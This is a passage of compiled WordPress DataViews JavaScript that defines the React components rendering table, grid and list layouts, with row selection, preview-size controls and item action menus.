    justify: "flex-start",
    children: [mediaField && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "dataviews-view-table__cell-content-wrapper dataviews-column-primary__media",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(mediaField.render, {
        item: item
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: 0,
      children: [titleField && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        ...clickableProps,
        children: [level !== undefined && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
          className: "dataviews-view-table__level",
          children: ['—'.repeat(level), "\xA0"]
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(titleField.render, {
          item: item
        })]
      }), descriptionField && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(descriptionField.render, {
        item: item
      })]
    })]
  });
}
/* harmony default export */ const column_primary = (ColumnPrimary);

;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/table/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */







function TableColumnField({
  item,
  fields,
  column
}) {
  const field = fields.find(f => f.id === column);
  if (!field) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "dataviews-view-table__cell-content-wrapper",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(field.render, {
      item
    })
  });
}
function TableRow({
  hasBulkActions,
  item,
  level,
  actions,
  fields,
  id,
  view,
  titleField,
  mediaField,
  descriptionField,
  selection,
  getItemId,
  isItemClickable,
  onClickItem,
  onChangeSelection
}) {
  var _view$fields;
  const hasPossibleBulkAction = useHasAPossibleBulkAction(actions, item);
  const isSelected = hasPossibleBulkAction && selection.includes(id);
  const [isHovered, setIsHovered] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    showTitle = true,
    showMedia = true,
    showDescription = true
  } = view;
  const handleMouseEnter = () => {
    setIsHovered(true);
  };
  const handleMouseLeave = () => {
    setIsHovered(false);
  };

  // Will be set to true if `onTouchStart` fires. This happens before
  // `onClick` and can be used to exclude touchscreen devices from certain
  // behaviours.
  const isTouchDeviceRef = (0,external_wp_element_namespaceObject.useRef)(false);
  const columns = (_view$fields = view.fields) !== null && _view$fields !== void 0 ? _view$fields : [];
  const hasPrimaryColumn = titleField && showTitle || mediaField && showMedia || descriptionField && showDescription;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("tr", {
    className: dist_clsx('dataviews-view-table__row', {
      'is-selected': hasPossibleBulkAction && isSelected,
      'is-hovered': isHovered,
      'has-bulk-actions': hasPossibleBulkAction
    }),
    onMouseEnter: handleMouseEnter,
    onMouseLeave: handleMouseLeave,
    onTouchStart: () => {
      isTouchDeviceRef.current = true;
    },
    onClick: () => {
      if (!hasPossibleBulkAction) {
        return;
      }
      if (!isTouchDeviceRef.current && document.getSelection()?.type !== 'Range') {
        onChangeSelection(selection.includes(id) ? selection.filter(itemId => id !== itemId) : [id]);
      }
    },
    children: [hasBulkActions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("td", {
      className: "dataviews-view-table__checkbox-column",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "dataviews-view-table__cell-content-wrapper",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSelectionCheckbox, {
          item: item,
          selection: selection,
          onChangeSelection: onChangeSelection,
          getItemId: getItemId,
          titleField: titleField,
          disabled: !hasPossibleBulkAction
        })
      })
    }), hasPrimaryColumn && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("td", {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_primary, {
        item: item,
        level: level,
        titleField: showTitle ? titleField : undefined,
        mediaField: showMedia ? mediaField : undefined,
        descriptionField: showDescription ? descriptionField : undefined,
        isItemClickable: isItemClickable,
        onClickItem: onClickItem
      })
    }), columns.map(column => {
      var _view$layout$styles$c;
      // Explicit picks the supported styles.
      const {
        width,
        maxWidth,
        minWidth
      } = (_view$layout$styles$c = view.layout?.styles?.[column]) !== null && _view$layout$styles$c !== void 0 ? _view$layout$styles$c : {};
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("td", {
        style: {
          width,
          maxWidth,
          minWidth
        },
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TableColumnField, {
          fields: fields,
          item: item,
          column: column
        })
      }, column);
    }), !!actions?.length &&
    /*#__PURE__*/
    // Disable reason: we are not making the element interactive,
    // but preventing any click events from bubbling up to the
    // table row. This allows us to add a click handler to the row
    // itself (to toggle row selection) without erroneously
    // intercepting click events from ItemActions.
    /* eslint-disable jsx-a11y/no-noninteractive-element-interactions, jsx-a11y/click-events-have-key-events */
    (0,external_ReactJSXRuntime_namespaceObject.jsx)("td", {
      className: "dataviews-view-table__actions-column",
      onClick: e => e.stopPropagation(),
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ItemActions, {
        item: item,
        actions: actions
      })
    })
    /* eslint-enable jsx-a11y/no-noninteractive-element-interactions, jsx-a11y/click-events-have-key-events */]
  });
}
function ViewTable({
  actions,
  data,
  fields,
  getItemId,
  getItemLevel,
  isLoading = false,
  onChangeView,
  onChangeSelection,
  selection,
  setOpenedFilter,
  onClickItem,
  isItemClickable,
  view
}) {
  var _view$fields2;
  const headerMenuRefs = (0,external_wp_element_namespaceObject.useRef)(new Map());
  const headerMenuToFocusRef = (0,external_wp_element_namespaceObject.useRef)();
  const [nextHeaderMenuToFocus, setNextHeaderMenuToFocus] = (0,external_wp_element_namespaceObject.useState)();
  const hasBulkActions = useSomeItemHasAPossibleBulkAction(actions, data);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (headerMenuToFocusRef.current) {
      headerMenuToFocusRef.current.focus();
      headerMenuToFocusRef.current = undefined;
    }
  });
  const tableNoticeId = (0,external_wp_element_namespaceObject.useId)();
  if (nextHeaderMenuToFocus) {
    // If we need to force focus, we short-circuit rendering here
    // to prevent any additional work while we handle that.
    // Clearing out the focus directive is necessary to make sure
    // future renders don't cause unexpected focus jumps.
    headerMenuToFocusRef.current = nextHeaderMenuToFocus;
    setNextHeaderMenuToFocus(undefined);
    return;
  }
  const onHide = field => {
    const hidden = headerMenuRefs.current.get(field.id);
    const fallback = hidden ? headerMenuRefs.current.get(hidden.fallback) : undefined;
    setNextHeaderMenuToFocus(fallback?.node);
  };
  const hasData = !!data?.length;
  const titleField = fields.find(field => field.id === view.titleField);
  const mediaField = fields.find(field => field.id === view.mediaField);
  const descriptionField = fields.find(field => field.id === view.descriptionField);
  const {
    showTitle = true,
    showMedia = true,
    showDescription = true
  } = view;
  const hasPrimaryColumn = titleField && showTitle || mediaField && showMedia || descriptionField && showDescription;
  const columns = (_view$fields2 = view.fields) !== null && _view$fields2 !== void 0 ? _view$fields2 : [];
  const headerMenuRef = (column, index) => node => {
    if (node) {
      headerMenuRefs.current.set(column, {
        node,
        fallback: columns[index > 0 ? index - 1 : 1]
      });
    } else {
      headerMenuRefs.current.delete(column);
    }
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("table", {
      className: dist_clsx('dataviews-view-table', {
        [`has-${view.layout?.density}-density`]: view.layout?.density && ['compact', 'comfortable'].includes(view.layout.density)
      }),
      "aria-busy": isLoading,
      "aria-describedby": tableNoticeId,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("thead", {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("tr", {
          className: "dataviews-view-table__row",
          children: [hasBulkActions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("th", {
            className: "dataviews-view-table__checkbox-column",
            scope: "col",
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BulkSelectionCheckbox, {
              selection: selection,
              onChangeSelection: onChangeSelection,
              data: data,
              actions: actions,
              getItemId: getItemId
            })
          }), hasPrimaryColumn && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("th", {
            scope: "col",
            children: titleField && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu, {
              ref: headerMenuRef(titleField.id, 0),
              fieldId: titleField.id,
              view: view,
              fields: fields,
              onChangeView: onChangeView,
              onHide: onHide,
              setOpenedFilter: setOpenedFilter,
              canMove: false
            })
          }), columns.map((column, index) => {
            var _view$layout$styles$c2;
            // Explicit picks the supported styles.
            const {
              width,
              maxWidth,
              minWidth
            } = (_view$layout$styles$c2 = view.layout?.styles?.[column]) !== null && _view$layout$styles$c2 !== void 0 ? _view$layout$styles$c2 : {};
            return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("th", {
              style: {
                width,
                maxWidth,
                minWidth
              },
              "aria-sort": view.sort?.direction && view.sort?.field === column ? sortValues[view.sort.direction] : undefined,
              scope: "col",
              children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu, {
                ref: headerMenuRef(column, index),
                fieldId: column,
                view: view,
                fields: fields,
                onChangeView: onChangeView,
                onHide: onHide,
                setOpenedFilter: setOpenedFilter
              })
            }, column);
          }), !!actions?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("th", {
            className: "dataviews-view-table__actions-column",
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
              className: "dataviews-view-table-header",
              children: (0,external_wp_i18n_namespaceObject.__)('Actions')
            })
          })]
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("tbody", {
        children: hasData && data.map((item, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TableRow, {
          item: item,
          level: view.showLevels && typeof getItemLevel === 'function' ? getItemLevel(item) : undefined,
          hasBulkActions: hasBulkActions,
          actions: actions,
          fields: fields,
          id: getItemId(item) || index.toString(),
          view: view,
          titleField: titleField,
          mediaField: mediaField,
          descriptionField: descriptionField,
          selection: selection,
          getItemId: getItemId,
          onChangeSelection: onChangeSelection,
          onClickItem: onClickItem,
          isItemClickable: isItemClickable
        }, getItemId(item)))
      })]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: dist_clsx({
        'dataviews-loading': isLoading,
        'dataviews-no-results': !hasData && !isLoading
      }),
      id: tableNoticeId,
      children: !hasData && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
        children: isLoading ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) : (0,external_wp_i18n_namespaceObject.__)('No results')
      })
    })]
  });
}
/* harmony default export */ const table = (ViewTable);

;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/grid/preview-size-picker.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


const viewportBreaks = {
  xhuge: {
    min: 3,
    max: 6,
    default: 5
  },
  huge: {
    min: 2,
    max: 4,
    default: 4
  },
  xlarge: {
    min: 2,
    max: 3,
    default: 3
  },
  large: {
    min: 1,
    max: 2,
    default: 2
  },
  mobile: {
    min: 1,
    max: 2,
    default: 2
  }
};

/**
 * Breakpoints were adjusted from media queries breakpoints to account for
 * the sidebar width. This was done to match the existing styles we had.
 */
const BREAKPOINTS = {
  xhuge: 1520,
  huge: 1140,
  xlarge: 780,
  large: 480,
  mobile: 0
};
function useViewPortBreakpoint() {
  const containerWidth = (0,external_wp_element_namespaceObject.useContext)(dataviews_context).containerWidth;
  for (const [key, value] of Object.entries(BREAKPOINTS)) {
    if (containerWidth >= value) {
      return key;
    }
  }
  return 'mobile';
}
function useUpdatedPreviewSizeOnViewportChange() {
  const view = (0,external_wp_element_namespaceObject.useContext)(dataviews_context).view;
  const viewport = useViewPortBreakpoint();
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    const previewSize = view.layout?.previewSize;
    let newPreviewSize;
    if (!previewSize) {
      return;
    }
    const breakValues = viewportBreaks[viewport];
    if (previewSize < breakValues.min) {
      newPreviewSize = breakValues.min;
    }
    if (previewSize > breakValues.max) {
      newPreviewSize = breakValues.max;
    }
    return newPreviewSize;
  }, [viewport, view]);
}
function PreviewSizePicker() {
  const viewport = useViewPortBreakpoint();
  const context = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
  const view = context.view;
  const breakValues = viewportBreaks[viewport];
  const previewSizeToUse = view.layout?.previewSize || breakValues.default;
  const marks = (0,external_wp_element_namespaceObject.useMemo)(() => Array.from({
    length: breakValues.max - breakValues.min + 1
  }, (_, i) => {
    return {
      value: breakValues.min + i
    };
  }), [breakValues]);
  if (viewport === 'mobile') {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.RangeControl, {
    __nextHasNoMarginBottom: true,
    __next40pxDefaultSize: true,
    showTooltip: false,
    label: (0,external_wp_i18n_namespaceObject.__)('Preview size'),
    value: breakValues.max + breakValues.min - previewSizeToUse,
    marks: marks,
    min: breakValues.min,
    max: breakValues.max,
    withInputField: false,
    onChange: (value = 0) => {
      context.onChangeView({
        ...view,
        layout: {
          ...view.layout,
          previewSize: breakValues.max + breakValues.min - value
        }
      });
    },
    step: 1
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/grid/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */







const {
  Badge
} = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
function GridItem({
  view,
  selection,
  onChangeSelection,
  onClickItem,
  isItemClickable,
  getItemId,
  item,
  actions,
  mediaField,
  titleField,
  descriptionField,
  regularFields,
  badgeFields,
  hasBulkActions
}) {
  const {
    showTitle = true,
    showMedia = true,
    showDescription = true
  } = view;
  const hasBulkAction = useHasAPossibleBulkAction(actions, item);
  const id = getItemId(item);
  const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(GridItem);
  const isSelected = selection.includes(id);
  const renderedMediaField = mediaField?.render ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(mediaField.render, {
    item: item
  }) : null;
  const renderedTitleField = showTitle && titleField?.render ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(titleField.render, {
    item: item
  }) : null;
  const clickableMediaItemProps = getClickableItemProps({
    item,
    isItemClickable,
    onClickItem,
    className: 'dataviews-view-grid__media'
  });
  const clickableTitleItemProps = getClickableItemProps({
    item,
    isItemClickable,
    onClickItem,
    className: 'dataviews-view-grid__title-field dataviews-title-field'
  });
  let mediaA11yProps;
  let titleA11yProps;
  if (isItemClickable(item) && onClickItem) {
    if (renderedTitleField) {
      mediaA11yProps = {
        'aria-labelledby': `dataviews-view-grid__title-field-${instanceId}`
      };
      titleA11yProps = {
        id: `dataviews-view-grid__title-field-${instanceId}`
      };
    } else {
      mediaA11yProps = {
        'aria-label': (0,external_wp_i18n_namespaceObject.__)('Navigate to item')
      };
    }
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 0,
    className: dist_clsx('dataviews-view-grid__card', {
      'is-selected': hasBulkAction && isSelected
    }),
    onClickCapture: event => {
      if (event.ctrlKey || event.metaKey) {
        event.stopPropagation();
        event.preventDefault();
        if (!hasBulkAction) {
          return;
        }
        onChangeSelection(selection.includes(id) ? selection.filter(itemId => id !== itemId) : [...selection, id]);
      }
    },
    children: [showMedia && renderedMediaField && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      ...clickableMediaItemProps,
      ...mediaA11yProps,
      children: renderedMediaField
    }), hasBulkActions && showMedia && renderedMediaField && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSelectionCheckbox, {
      item: item,
      selection: selection,
      onChangeSelection: onChangeSelection,
      getItemId: getItemId,
      titleField: titleField,
      disabled: !hasBulkAction
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      justify: "space-between",
      className: "dataviews-view-grid__title-actions",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        ...clickableTitleItemProps,
        ...titleA11yProps,
        children: renderedTitleField
      }), !!actions?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ItemActions, {
        item: item,
        actions: actions,
        isCompact: true
      })]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: 1,
      children: [showDescription && descriptionField?.render && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(descriptionField.render, {
        item: item
      }), !!badgeFields?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
        className: "dataviews-view-grid__badge-fields",
        spacing: 2,
        wrap: true,
        alignment: "top",
        justify: "flex-start",
        children: badgeFields.map(field => {
          return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Badge, {
            className: "dataviews-view-grid__field-value",
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(field.render, {
              item: item
            })
          }, field.id);
        })
      }), !!regularFields?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
        className: "dataviews-view-grid__fields",
        spacing: 1,
        children: regularFields.map(field => {
          return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
            className: "dataviews-view-grid__field",
            gap: 1,
            justify: "flex-start",
            expanded: true,
            style: {
              height: 'auto'
            },
            direction: "row",
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
                className: "dataviews-view-grid__field-name",
                children: field.header
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
                className: "dataviews-view-grid__field-value",
                style: {
                  maxHeight: 'none'
                },
                children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(field.render, {
                  item: item
                })
              })]
            })
          }, field.id);
        })
      })]
    })]
  }, id);
}
function ViewGrid({
  actions,
  data,
  fields,
  getItemId,
  isLoading,
  onChangeSelection,
  onClickItem,
  isItemClickable,
  selection,
  view
}) {
  var _view$fields;
  const titleField = fields.find(field => field.id === view?.titleField);
  const mediaField = fields.find(field => field.id === view?.mediaField);
  const descriptionField = fields.find(field => field.id === view?.descriptionField);
  const otherFields = (_view$fields = view.fields) !== null && _view$fields !== void 0 ? _view$fields : [];
  const {
    regularFields,
    badgeFields
  } = otherFields.reduce((accumulator, fieldId) => {
    const field = fields.find(f => f.id === fieldId);
    if (!field) {
      return accumulator;
    }
    // If the field is a badge field, add it to the badgeFields array
    // otherwise add it to the rest visibleFields array.
    const key = view.layout?.badgeFields?.includes(fieldId) ? 'badgeFields' : 'regularFields';
    accumulator[key].push(field);
    return accumulator;
  }, {
    regularFields: [],
    badgeFields: []
  });
  const hasData = !!data?.length;
  const updatedPreviewSize = useUpdatedPreviewSizeOnViewportChange();
  const hasBulkActions = useSomeItemHasAPossibleBulkAction(actions, data);
  const usedPreviewSize = updatedPreviewSize || view.layout?.previewSize;
  const gridStyle = usedPreviewSize ? {
    gridTemplateColumns: `repeat(${usedPreviewSize}, minmax(0, 1fr))`
  } : {};
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [hasData && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, {
      gap: 8,
      columns: 2,
      alignment: "top",
      className: "dataviews-view-grid",
      style: gridStyle,
      "aria-busy": isLoading,
      children: data.map(item => {
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GridItem, {
          view: view,
          selection: selection,
          onChangeSelection: onChangeSelection,
          onClickItem: onClickItem,
          isItemClickable: isItemClickable,
          getItemId: getItemId,
          item: item,
          actions: actions,
          mediaField: mediaField,
          titleField: titleField,
          descriptionField: descriptionField,
          regularFields: regularFields,
          badgeFields: badgeFields,
          hasBulkActions: hasBulkActions
        }, getItemId(item));
      })
    }), !hasData && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: dist_clsx({
        'dataviews-loading': isLoading,
        'dataviews-no-results': !isLoading
      }),
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
        children: isLoading ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) : (0,external_wp_i18n_namespaceObject.__)('No results')
      })
    })]
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/list/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */



const {
  Menu: list_Menu
} = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
function generateItemWrapperCompositeId(idPrefix) {
  return `${idPrefix}-item-wrapper`;
}
function generatePrimaryActionCompositeId(idPrefix, primaryActionId) {
  return `${idPrefix}-primary-action-${primaryActionId}`;
}
function generateDropdownTriggerCompositeId(idPrefix) {
  return `${idPrefix}-dropdown`;
}
function PrimaryActionGridCell({
  idPrefix,
  primaryAction,
  item
}) {
  const registry = (0,external_wp_data_namespaceObject.useRegistry)();
  const [isModalOpen, setIsModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  const compositeItemId = generatePrimaryActionCompositeId(idPrefix, primaryAction.id);
  const label = typeof primaryAction.label === 'string' ? primaryAction.label : primaryAction.label([item]);
  return 'RenderModal' in primaryAction ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    role: "gridcell",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Item, {
      id: compositeItemId,
      render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        label: label,
        disabled: !!primaryAction.disabled,
        accessibleWhenDisabled: true,
        icon: primaryAction.icon,
        isDestructive: primaryAction.isDestructive,
        size: "small",
        onClick: () => setIsModalOpen(true)
      }),
      children: isModalOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionModal, {
        action: primaryAction,
        items: [item],
        closeModal: () => setIsModalOpen(false)
      })
    })
  }, primaryAction.id) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    role: "gridcell",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Item, {
      id: compositeItemId,
      render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        label: label,
        disabled: !!primaryAction.disabled,
        accessibleWhenDisabled: true,
        icon: primaryAction.icon,
        isDestructive: primaryAction.isDestructive,
        size: "small",
        onClick: () => {
          primaryAction.callback([item], {
            registry
          });
        }
      })
    })
  }, primaryAction.id);
}
function ListItem({
  view,
  actions,
  idPrefix,
  isSelected,
  item,
  titleField,
  mediaField,
  descriptionField,
  onSelect,
  otherFields,
  onDropdownTriggerKeyDown
}) {
  const {
    showTitle = true,
    showMedia = true,
    showDescription = true
  } = view;
  const itemRef = (0,external_wp_element_namespaceObject.useRef)(null);
  const labelId = `${idPrefix}-label`;
  const descriptionId = `${idPrefix}-description`;
  const registry = (0,external_wp_data_namespaceObject.useRegistry)();
  const [isHovered, setIsHovered] = (0,external_wp_element_namespaceObject.useState)(false);
  const [activeModalAction, setActiveModalAction] = (0,external_wp_element_namespaceObject.useState)(null);
  const handleHover = ({
    type
  }) => {
    const isHover = type === 'mouseenter';
    setIsHovered(isHover);
  };
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (isSelected) {
      itemRef.current?.scrollIntoView({
        behavior: 'auto',
        block: 'nearest',
        inline: 'nearest'
      });
    }
  }, [isSelected]);
  const {
    primaryAction,
    eligibleActions
  } = (0,external_wp_element_namespaceObject.useMemo)(() => {
    // If an action is eligible for all items, doesn't need
    // to provide the `isEligible` function.
    const _eligibleActions = actions.filter(action => !action.isEligible || action.isEligible(item));
    const _primaryActions = _eligibleActions.filter(action => action.isPrimary && !!action.icon);
    return {
      primaryAction: _primaryActions[0],
      eligibleActions: _eligibleActions
    };
  }, [actions, item]);
  const hasOnlyOnePrimaryAction = primaryAction && actions.length === 1;
  const renderedMediaField = showMedia && mediaField?.render ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "dataviews-view-list__media-wrapper",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(mediaField.render, {
      item: item
    })
  }) : null;
  const renderedTitleField = showTitle && titleField?.render ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(titleField.render, {
    item: item
  }) : null;
  const usedActions = eligibleActions?.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    spacing: 3,
    className: "dataviews-view-list__item-actions",
    children: [primaryAction && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrimaryActionGridCell, {
      idPrefix: idPrefix,
      primaryAction: primaryAction,
      item: item
    }), !hasOnlyOnePrimaryAction && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      role: "gridcell",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(list_Menu, {
        placement: "bottom-end",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(list_Menu.TriggerButton, {
          render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Item, {
            id: generateDropdownTriggerCompositeId(idPrefix),
            render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
              size: "small",
              icon: more_vertical,
              label: (0,external_wp_i18n_namespaceObject.__)('Actions'),
              accessibleWhenDisabled: true,
              disabled: !actions.length,
              onKeyDown: onDropdownTriggerKeyDown
            })
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(list_Menu.Popover, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionsMenuGroup, {
            actions: eligibleActions,
            item: item,
            registry: registry,
            setActiveModalAction: setActiveModalAction
          })
        })]
      }), !!activeModalAction && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionModal, {
        action: activeModalAction,
        items: [item],
        closeModal: () => setActiveModalAction(null)
      })]
    })]
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Row, {
    ref: itemRef,
    render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {}),
    role: "row",
    className: dist_clsx({
      'is-selected': isSelected,
      'is-hovered': isHovered
    }),
    onMouseEnter: handleHover,
    onMouseLeave: handleHover,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      className: "dataviews-view-list__item-wrapper",
      spacing: 0,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        role: "gridcell",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Item, {
          id: generateItemWrapperCompositeId(idPrefix),
          "aria-pressed": isSelected,
          "aria-labelledby": labelId,
          "aria-describedby": descriptionId,
          className: "dataviews-view-list__item",
          onClick: () => onSelect(item)
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        spacing: 3,
        justify: "start",
        alignment: "flex-start",
        children: [renderedMediaField, /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
          spacing: 1,
          className: "dataviews-view-list__field-wrapper",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
            spacing: 0,
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
              className: "dataviews-title-field",
              id: labelId,
              children: renderedTitleField
            }), usedActions]
          }), showDescription && descriptionField?.render && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
            className: "dataviews-view-list__field",
